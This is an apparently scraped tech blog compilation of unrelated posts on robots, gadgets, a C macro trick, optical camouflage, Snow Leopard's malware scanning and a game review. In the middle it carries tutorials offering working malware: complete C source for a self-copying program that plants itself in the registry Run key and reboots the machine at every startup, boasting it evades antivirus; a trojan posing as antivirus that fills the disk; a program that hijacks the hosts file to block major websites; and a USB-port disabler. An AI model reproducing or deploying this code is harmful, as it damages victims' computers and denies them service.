Nao Robot plays with Microsoft's Surface computer

I have been a bit busier than expected the last couple of weeks and posting on this blog has been slow. So, I figured I make it up to you by posting a video of Aldebaran's Nao humanoid robot manipulating some photographs displayed on Microsoft's Surface computer.

This is another nice promotional video for the French robotics company. Aldebaran Robotics are making a serious effort to market Nao to academics and at the same time get the average person excited about the many possible uses of such dexterous, intelligent, humanoid robots. If you want to see another video of Nao walking and manipulating objects, check out our previous post "Introducing Nao."

The Precision Urban Hopper military robot

Looks like Boston Dynamics makers of the very well known Big Dog robot are at it again. A recently released video shows a new, small, 4-wheeled robot that can leap over obstacles of up to 7.5 meters high. The robot which can be seen in action in the video below, utilizes a piston-actuated leg to jump over obstacles that are up to 60 times its own height. The intended use for the Precision Urban Hopper is obviously military surveillance in urban environments. According to news reports, the robot will be available for use in the field next year. Lastly, the robot is meant to be remote controlled and not fully autonomous. I do suspect, however, that the final model will most likely allow for some autonomy to assist the human operator. This is almost always the case with such robots.

Alien Planet part 9/9 END

Alien Planet part 8/9

Alien Planet part 7/9

Alien Planet part 6/9

Alien Planet part 5/9

Alien Planet part 4/9

Alien Planet part 3/9

Alien Planet part 2/9

Alien Planet part 1/9

Dec 21, 2012 - End of the World? - Part 5 of 6, Part 6 - N.A

Dec 21, 2012 - End of the World? - Part 4 of 6

Dec 21, 2012 - End of the World? - Part 3 of 6

Dec 21, 2012 - End of the World? - Part 2 of 6

Dec 21, 2012 - End of the World?

C Program Without a Main Function

How to write a C program without a main function?.Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…

#include

#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
printf(” hello “);
}

Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?

Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.

The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.

Look at the 2nd line of program-

#define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).

Now look at the third line of the program-

#define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…

The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

60 Cities in India To Be Powered By Solar Energy

At least 60 Indian cities will be solar powered by 2020 if India is able to generate 20,000 MW of solar energy.The U.S. Department of Energy and the All India Institute of Local Self Government (AIILSG) launched a joint training programme on ‘Energy efficient and green cities’ in Goa, which will train Indian experts, universities, local self governments and civic bodies on getting cities to move to solar powered energy.

According to an initial list of partnered Indo-U.S. cities, Ahmedabad has been tied up with Atlanta and Columbus; Bangalore with San Francisco; Chennai with Denver, Delhi with Chicago, Mumbai with Los Angeles and Surat with Philadelphia.Union Minister of State for Power Bharatsinh Solanki said that the country could make use of its open fields and rooftops of houses to harness solar energy and water harvesting. “Delhi is already considering to set up an energy efficiency board. Nuclear energy will the answer in the future, even thorium techniques could be utilized.

Dual Screen Laptop

Top 5 Gadgets Of 2008

CLAMOUFAGE

Underwater Creature Camouflage

CLAMOUFAGE

NOUN:
1.An outward semblance that misrepresents the true nature of something
2.Fabric dyed with splotches of green and brown and black and tan; intended to make the wearer of a garment made of this fabric hard to distinguish from the background
3.Device or stratagem for concealment or deceit
4.The act of concealing the identity of something by modifying its appearance

VERB
Disguise by camouflaging; exploit the natural surroundings to disguise something
"The troops camouflaged themselves before they went into enemy territory"

Pics of invisible cloak and arrangement

Invisible cloak

Man can ever be invisible?

INVISIBILITY CLOAKS

AND

OPTICAL CAMOUFLAGE TECHNOLOGY

Imagination is impetus to Creativity, creativity defines Art, art redefines Perfection and Science aims at understanding this perfection by developing Technologies. One such Technology, which came into existence, is “ INVISIBILITY CLOAKS AND OPTICAL CAMOUFLAGE TECHNOLOGY ”. Optical camouflage works by taking advantage of something called augmented-reality technology. Augmented-reality systems add computer-generated information to a user's sensory perceptions. In addition to Augmented-reality systems, Optical camouflage requires a Cloak, a Video camera, a Computer, a Projector, a Combiner which are used in the procedure of making one Invisible.Advancements in this Technology is minimizing its sophistication procedure. Real time applications of this technology is in hospitals, pilots, cars and also introduced a new concept of mutual telexistence

Optical camouflage delivers a similar experience to Harry Potter's invisibility cloak, but using it requires a slightly more complicated arrangement.
First, the person who wants to be invisible (let's call her Person A) dons a garment that resembles a hooded raincoat. The garment is made of a special material that we'll examine more closely in a moment. Next, an observer (Person B) stands before Person A at a specific location. At that location, instead of seeing Person A wearing a hooded raincoat, Person B sees right through the cloak, making Person A appear to be invisible. The photograph on the right below shows you what Person B would see. If Person B were viewing from a slightly different location, he would simply see Person A wearing a silver garment . Still, despite its limitations, this is a cool piece of technology. Not only that, but it's also a technology that's been around for a while.

Optical camouflage doesn't work by way of magic. It works by taking advantage of something called augmented-reality technology -- a type of technology that was first pioneered in the 1960s by Ivan Sutherland and his students at Harvard University and the University of Utah. You can read more about augmented reality in How Augmented Reality Will Work, but a quick recap will be helpful here.

Augmented-reality systems add computer-generated information to a user's sensory perceptions. Imagine, for example, that you're walking down a city street. As you gaze at sites along the way, additional information appears to enhance and enrich your normal view. Perhaps it's the day's specials at a restaurant or the show times at a theater or the bus schedule at the station. What's critical to understand here is that augmented reality is not the same as virtual reality. While virtual reality aims to replace the world, augmented reality merely tries to supplement it with additional, helpful content

Augmented-reality displays overlay computer-generated graphics onto the real world.
Most augmented-reality systems require that users look through a special viewing apparatus to see a real-world scene enhanced with synthesized graphics. They also require a powerful computer. Optical camouflage requires these things, as well, but it also requires several other components. Here's everything needed to make a person appear invisible:
A garment made from highly reflective material
A video camera
A computer
A projector
A special, half-silvered mirror called a combiner
Let's look at each of these components in greater detail.

The Cloak:
The cloak that enables optical camouflage to work is made from a special material known as retro-reflective material.

Invisibility cloak:
A retro-reflective material is covered with thousands and thousands of small beads. When light strikes one of these beads, the light rays bounce back exactly in the same direction from which they came.

To understand why this is unique, look at how light reflects off of other types of surfaces. A rough surface creates a diffused reflection because the incident (incoming) light rays get scattered in many different directions. A perfectly smooth surface, like that of a mirror, creates what is known as a seculars reflection -- a reflection in which incident light rays and reflected light rays form the exact same angle with the mirror surface. In retro-reflection, the glass beads act like prisms, bending the light rays by a process known as refraction. This causes the reflected light rays to travel back along the same path as the incident light rays. The result: An observer situated at the light source receives more of the reflected light and therefore sees a brighter reflection.
Retro-reflective materials are actually quite common. Traffic signs, road markers and bicycle reflectors all take advantage of retro-reflection to be more visible to people driving at night. Movie screens used in most modern commercial theaters also take advantage of this material because it allows for high brilliance under dark conditions. In optical camouflage, the use of retro-reflective material is critical because it can be seen from far away and outside in bright sunlight -- two requirements for the illusion of invisibility.

The Video Camera and Computer:
Video Camera:
The retro-reflective garment doesn't actually make a person invisible -- in fact, it's perfectly opaque. What the garment does is create an illusion of invisibility by acting like a movie screen onto which an image from the background is projected. Capturing the background image requires a video camera, which sits behind the person wearing the cloak. The video from the camera must be in a digital format so it can be sent to a computer for processing.

Computer:
All augmented-reality systems rely on powerful computers to synthesize graphics and then superimpose them on a real-world image. For optical camouflage to work, the hardware/software combo must take the captured image from the video camera, calculate the appropriate perspective to simulate reality and transform the captured image into the image that will be projected onto the retro-reflective material.

The Projector and Combiner:
The Projector:
The modified image produced by the computer must be shone onto the garment, which acts like a movie screen. A projector accomplishes this task by shining a light beam through an opening controlled by a device called an iris diaphragm. An iris diaphragm is made of thin, opaque plates, and turning a ring changes the diameter of the central opening. For optical camouflage to work properly, this opening must be the size of a pinhole. Why? This ensures a larger depth of field so that the screen (in this case the cloak) can be located any distance from the projector.
The Combiner:
The system requires a special mirror to both reflect the projected image toward the cloak and to let light rays bouncing off the cloak return to the user's eye. This special mirror is called a beam splitter, or a combiner -- a half-silvered mirror that both reflects light (the silvered half) and transmits light (the transparent half). If properly positioned in front of the user's eye, the combiner allows the user to perceive both the image enhanced by the computer and light from the surrounding world. This is critical because the computer-generated image and the real-world scene must be fully integrated for the illusion of invisibility to seem realistic. The user has to look through a peephole in this mirror to see the augmented reality.

The Complete System:
Now let's put all of these components together to see how the invisibility cloak appears to make a person transparent. The diagram below shows the typical arrangement of all of the various devices and pieces of equipment.

Once a person puts on the cloak made with the retro-reflective material, here's the sequence of events:
A digital video camera captures the scene behind the person wearing the cloak.
1. The computer processes the captured image and makes the calculations necessary to adjust the still image or video so it will look realistic when it is projected.
2. The projector receives the enhanced image from the computer and shines the image through a pinhole-sized opening onto the combiner.
3. The silvered half of the mirror, which is completely reflective, bounces the projected image toward the person wearing the cloak.
4. The cloak acts like a movie screen, reflecting light directly back to the source, which in this case is the mirror.
5. Light rays bouncing off of the cloak pass through the transparent part of the mirror and fall on the user's eyes. Remember that the light rays bouncing off of the cloak contain the image of the scene that exists behind the person wearing the cloak.
6. The person wearing the cloak appears invisible because the background scene is being displayed onto the retro-reflective material. At the same time, light rays from the rest of the world are allowed reach the user's eye, making it seem as if an invisible person exists in an otherwise normal-looking world.

Head-mounted Displays:
Of course, making the observer stand behind a stationary combiner is not very pragmatic -- no augmented-reality system would be of much practical use if the user had to stand in a fixed location. That's why most systems require that the user carry the computer on his or her person, either in a backpack or clipped on the hip. It's also why most systems take advantage of head-mounted displays, or HMDs, which assemble the combiner and optics in a wearable device.
There are two types of HMDs: optical see-through displays and video see-through displays. Optical see-through displays look like high-tech goggles, sort of like the goggles Cyclops wears in the X-Men comic books and movies. These goggles provide a display and optics for each eye, so the user sees the augmented reality in stereo. Video see-through displays, on the other hand, use video-mixing technology to combine the image from a head-worn camera with computer-generated graphics.

In this arrangement, video of the real world is mixed with synthesized graphics and then presented on a liquid-crystal display. The great advantage of video see-through displays is that virtual objects can fully obscure real-world objects and vice versa.
The scientists who have developed optical-camouflage technology are currently perfecting a variation of a video see-through display that brings together all of the components necessary to make the invisibility cloak work.

They call their apparatus a head-mounted projector (HMP) because the projection unit is an integral part of the helmet. Two projectors -- one for each eye -- are required to produce a stereoscopic effect.
Real-World Applications:
While an invisibility cloak is an interesting application of optical camouflage, it's probably not the most useful one. Here are some practical ways the technology might be applied:
• Pilots landing a plane could use this technology to make cockpit floors transparent. This would enable them to see the runway and the landing gear simply by glancing down.
• Doctors performing surgery could use optical camouflage to see through their hands and instruments to the underlying tissue
• Providing a view of the outside in windowless rooms is one of the more fanciful applications of the technology, but one that might improve the psychological well-being of people in such environments.
• Drivers backing up cars could benefit one day from optical camouflage. A quick glance backward through a transparent rear hatch or tailgate would make it easy to know when to stop.
• One of the most promising applications of this technology, however, has less to do with making objects invisible and more about making them visible. The concept is called mutual telexistence: working and perceiving with the feeling that you are in several places at once. Here's how it works:

Human user A is at one location while his telexistence robot A is at another location with human user B. Human user B is at one location while his telexistence robot B is at another location with human user A. Both telexistence robots are covered in retro-reflective material so that they act like screens. With video cameras and projectors at each location, the images of the two human users are projected onto their respective robots in the remote locations.
This gives each human the perception that he is working with another human instead of a robot.
Right now, mutual telexistence is science fiction, but it won't be for long as scientists continue to push the boundaries of the technology. For example, pervasive gaming is already becoming a reality. Pervasive gaming extends gaming experiences out into the real world, whether on city streets or in remote wilderness. Players with mobile displays move through the world while sensors capture information about their environment, including their location. This information is used to deliver users a gaming experience that changes according to where they are and what they are doing.

CONCLUSION:
Invisibility of a person is no more a Fiction today, as it was in the previous times-found only in some fiction, comic books etc. With the advent of Optical Camouflage Technology it has been turned into reality. This technology uses a way of Optical illusion on people’s viewing. As on today the system is very complex but unending efforts are being made to make it simple and more powerful. Improvement of this technology may lead to advancements in dealing with security threats. Also the concept of mutual telexistance opens a new era for advancements in Robotic applications. High equipment leading to high costs and complexity in maintenance remain a backlog to this technology. But all efforts are being made to bring this exciting technology to common man, to make them feel invisibility and experience being invisible.

URL’s:
BBC News. "Inventor plans 'invisible walls,'" BBC News, published June 14, 2004.
http://news.bbc.co.uk/2/hi/technology/3791795.stm

M. Inami, N. Kawakami, D. Sekiguchi, Y. Yanagida, T. Maeda and S. Tachi. "Visuo-Haptic Display Using Head-Mounted Projector."
http://projects.star.t.u-tokyo.ac.jp/projects/MEDIA/xv/oc.html

M. Inami, N. Kawakami and S. Tachi. "Optical Camouflage Using Retro-reflective Projection Technology," Proceedings of the Second IEEE and ACM International Symposium on Mixed and Augmented Reality (ISMAR 03).
http://projects.star.t.u-tokyo.ac.jp/projects/MEDIA/xv/oc.html

S. Feiner. "Augmented reality: A new way of seeing," Scientific American. April 2002, pp. 48-55.

S. Tachi. "Telexistence and Retro-reflective Projection Technology (RPT)," Proceedings of the 5th Virtual Reality International Conference (VRIC2003), pp. 69/1-69/9.
http://projects.star.t.u-tokyo.ac.jp/projects/MEDIA/xv/oc.html

Top 6 Latest Inventions of August 2009

1. Green Vehicle Controlled by Computer

British engineers launched these driverless vehicles at Heathrow Airport. The personal driving pods transport people to any destination selected on the vehicle's touchscreen. The goal of these vehicles is to reduce overcrowding, plus they have zero emissions. Read more…

2. Vaginal Liquid Condom That Blocks Different Viruses

This invention can block semen and all types of viruses that the semen can contain, including HIV, herpes virus and papilloma virus. Before coming into contact with semen that condom has a liquid form; when it catches semen the condom becomes solid, thus it is both protectant and contraceptive. Read more…

3. Hologram Projector That Makes it Possible to Feel a Hologram

Developed by researchers from the University of Tokyo, the hologram projector allows users to touch a hologram with their bare hands. The invention was dubbed Airborne Ultrasound Tactile Display. It uses acoustic radiation pressure, which produces a pressure feeling on an individual's hands identified by two Nintendo Wiimotes. Read more…

4. New Generation Wave Power System

This invention was developed by an Edinburg-based company called Aquamarine Power. The company claims that Oyster is a new type of wave power system, featuring an easy-to-sustain on-shore base. The system is more reliable thanks to its ability to work at shallow depths. Aquamarine Power says that its system can produce from 300 to 600kw of electricity, thus, using 10 Oysters, a commercial farm will be able to power 3,000 homes. Read more…

5. Hybrid Assistive Limb - Robot Suit for Disabled

Surely the number one country in the field of robotics is Japan. This particular robotic suit was developed for people with disabilities. Cyberdyne Corporation is the company behind this invention. It says that the HAL was created to improve the physical abilities of human body. Read more…

6. Smallest Medical Video Camera in the World

This invention was developed by Medigus, the maker of medical devices, and Tower Semiconductor, company that specializes in CMOS image sensors. The two companies claim they managed to develop the smallest video camera that could be widely used in medicine. It can be incorporated in disposable endoscopes or used for diagnostic and surgical purposes, being able to perform procedures that up till now were impossible. Read more…

Click this link to vote for you favorite invention.

Disney netpal: Netbooks from Asus exclusively for kids

Asus is coming up with netbooks designed while keeping young kids in mind. These netboks (called netpals) will be targeted at the 6 to 12 year old kids and Asus will launch them in collaboration with Disney.

These systems would thus provide kids with inexpensive ulraportables with a Disney tag to appeal them further. The netpals will come with inbuilt parental control features. These netbooks will come preloaded with Windows XP but will include a Disney Magic Desktop gadget tray to provide kids with 2D menus for simpler access to mails and websites.

The parental control features include control of websites that can be accessed, ability to program the calender to define the time at which the machine can be used by their children, e-mail correspondence and ability to monitor the websites children are visiting.

These special edition netbooks will be available in Princess pink and magic blue and will have an 8.9 inches LCD display, 160 GB of hard drive and 16 GB of SSD storage with 1GB of DDR memory and WiFi capabilities.

HP’s new printer can connect to the Internet, has a touchscreen

HP has announced new all-in-one printer that like most other all-in-one printers can print, scan, copy and send faxes but in addition can also connect to the Internet.

Hp PhotoSmart Premium comes with WiFi, bluetooth and and a touchscreen. The device is capable of downloading content and making purchases on the Internet and already has content for delivery providers in the form of USA Today, Google, Fandango, Coupons.com, DreamWorks Animation, Nickelodeon, web Sudoku, and Weathernews.

The device is not designed to surf the Internet but you can make purchases, for eg. book your tickets online and then print them directly through the printer.

HP has also launched an application store called HP app studio from where users can download apps on their device. HP seems to have taken cue from Apple on this one (iPhone and iPhone stores). The device can also print documents directly from an iPhone or iPod.

Experts in the industry have been quoted as saying that this device has paved way for a whole lot of possibilities. Providing users the ability to download content from the Internet and getting print outs without needing a computer terminal will indeed open ways for more innovative uses. One such suggestion is to get RSS feeds from newspaper agencies everyday on the device and printing your own newspaper with selective content.

The idea sure sounds attractive and e-readers like Kindle seems to have an unlikely competitor in this machine.The printer and HP app studio will be available in US in the fall.

Apple adds basic anti-malware to Snow Leopard New OS designed to sniff out a pair of Mac-specific Trojans

Apple has expanded a download warning feature in Mac OS X 10.5 to create rudimentary anti-malware detection in the new Snow Leopard operating system due out Friday, sources have confirmed.

Out of the box, Snow Leopard will be able to detect only two Trojan horses, although Apple will be able to push other signatures to users through the Mac operating system's Software Update service, those sources said.

The confirmation came after reports that Snow Leopard had taken its predecessor's File Quarantine feature a step further, and actually scans files downloaded by Safari, Mail or iChat for malicious code. Where Leopard only warned users that a file had been obtained from the Internet -- and thus was potentially dangerous -- Snow Leopard scans files for possible malware.

According to a screenshot posted Monday by Mac-only antivirus maker Intego, Snow Leopard sniffs out the malware, then puts up a warning that recommends users dump the downloaded file in the Trash rather than open it.

Neither of the two Trojans -- dubbed "RSPlug.a" and "Iservice" by Symantec -- that Snow Leopard currently detects is new. The former was first spotted in October 2007, while the latter debuted in January.

RSPlug made news in late 2007 when security researchers found the malware on numerous pornographic Web sites; if downloaded to a Mac, the Trojan changes the machine's DNS (Domain Name System) settings to redirect users to alternate or spoofed sites. Iservice, on the other hand, was spotted earlier this year piggybacking on pirated copies of iWork '09, Apple's productivity suite, by users who had downloaded the software from file-sharing sites.

Several researchers and bloggers, including Computerworld's Seth Weintraub, spotted a new .plist file in Snow Leopard that the OS uses to store malware signatures. That file, "XProtect.plist," has been tucked into the "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources" folder.

Future signature updates will presumably be added to the XProtect.plist file.

Because Apple regularly bashes Microsoft over the flood of Trojans, worms and viruses that target Windows -- most recently in a new television ad -- its admission that malware affects Macs is a setback, albeit small, to its marketing, said one analyst.

"If Apple includes anti-malware, weak or strong, it does undermine Apple's marketing message, but only slightly," said Ezra Gottheil, an analyst with Technology Business Research. "Apple doesn't claim that Macs cannot be successfully attacked; it claims that they are not often successfully attacked, and that is true. So if adding basic anti-malware software helps keep Macs relatively clean, given their lower [attack] profile, that helps Apple's primary message: Macs are less hassle."

Snow Leopard goes on sale Friday, and requires an Intel-based Mac. People upgrading from Leopard can purchase a $29 single-license, or a $49 five-license Family Pack. Users running Mac OS X 10.4, aka Tiger, must instead purchase the more expensive Box Set, which costs $169 for a single license and $229 for a five-license pack. The Box Set also includes the iLife '09 creativity bundle and the iWork '09 productivity suite.

Video: iPhone 3GS can play 720p and 1080p HD videos

The video below proves that the iPhone 3GS is capable of playing back 720p and 1080p HD videos and not just VGA. But why won’t Apple allow it? Its looks like if the videos are not converted to the iPhone’s liking, or too demanding, the audio driver will crash. But certainly this is something Apple can correct via future firmware updates. Play the video for more details…

Become the Star Gazer

So, you are sitting at home and really bored and do not know what to do? You feel like going out and sitting in your garden and staring at the stars, but its too cold outside and cant do that too?? Here is a way you can do that just by sitting at home. No, I am not asking you to break open your roof, all you need is the Star Laser. The Star Laser is an electronic device that projects green laser stars along with blue cloud formations to give you the feeling that you're floating in space.

The Star Laser Projector can be adjusted to fill up your ceiling, walls, floor, or even the side of your house with a soothing star field created by green lasers and holographic optics. Here are a few things that the Star Laser contains:

• 2 built-in glass lenses


• Thousands of green lasers


• Multiphase diffractive holographic optics

X-Men Origins: Wolverine - Xbox360

The best there is at what it does.

It’s sort of a weird time to be a critic. Strange things have been happening, such as established franchises like Resident Evil and Tom Clancy’s Fill-in-the-Blank saturating the market, while licensed, movie-themed games like Riddick and Wanted have been fantastic.

Likewise, Wolverine: Origins is the best X-Men game since that one from the arcade where you and five of your whoever-the-hell-was-around would dump around twenty dollars worth of quarters each into the machine and argue over who was going to be Dazzler.

Gone are the days of spandex tights and witty banter. This is a Wolverine game for the generation that grew up reading about the old Canucklehead. “Grew up” being the operative phrase in that sentence; this game is NOT for kids. Origins takes off the kid gloves and reveals six pointy reasons why you "Do. Not. Fuck. With Wolverine."

The story in the game follows that of the crappy movie but actually tells the story better so it’s tolerable, albeit still not good. It still has rapper Will.i.am, so if you were hoping to have left the pretentious nugget behind, you’ll be disappointed to find he has an even bigger role in the game than in the movie.

The gameplay is great, with controls that are tight and responsive. Combos are intuitive enough to keep the interest of even the twitchiest Devil May Cry fans and still easy enough to allow less avid players to progress. The terrain and enemies are varied, so the action never gets too stale; but if variety isn’t your thing, mindlessly mashing the attack button will get you through most brawls, although boss battles are going to require a bit more finesse. But mostly, you're a walking wood-chipper.

